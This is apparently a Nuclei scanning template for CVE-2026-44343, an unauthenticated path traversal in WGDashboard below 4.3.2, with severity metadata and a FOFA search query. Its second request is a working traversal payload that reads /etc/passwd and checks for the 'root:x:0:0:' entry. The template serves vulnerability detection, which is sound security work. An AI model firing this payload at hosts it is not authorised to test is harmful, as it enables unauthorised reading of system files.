漏洞描述
WGDashboard < 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication.
id: CVE-2026-44343
info:
name: WGDashboard < 4.3.2 - Unauthenticated File Read
author: str4k3r
severity: critical
description: |
WGDashboard < 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication.
impact: |
Unauthorized attackers can access the host file system, potentially exposing sensitive data and compromising the system.
remediation: |
Update to version 4.3.2 or later.
reference:
- https://github.com/WGDashboard/WGDashboard/security/advisories/GHSA-rrf5-q4fp-qvgm
- https://github.com/WGDashboard/WGDashboard/commit/b15bbce9bc5554ec379d558f032c730db47fcea2
- https://nvd.nist.gov/vuln/detail/CVE-2026-44343
classification:
cve-id: CVE-2026-44343
epss-score: 0.01548
epss-percentile: 0.73623
cwe-id: CWE-22
cvss-score: 9.8
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
metadata:
verified: true
max-request: 2
vendor: wgdashboard
product: wgdashboard
fofa-query: title="WGDashboard"
tags: cve,cve2026,wgdashboard,lfi,path-traversal,file-read,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(tolower(body), "wgdashboard", "wireguard")'
condition: and
internal: true
- raw:
- |
GET /fileDownload?file=../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "root:x:0:0:")'
condition: and
# digest: 4a0a00473045022100caf6a4cf149b1307ad28c34185ab6e4a356ad2a7095db0620731551afa6e18eb02204dbf89f54f3610e228c664ce5e1e49d2a8334f9809df901cd898724bfebca95b:922c64590222798bb761d5b6d8e72950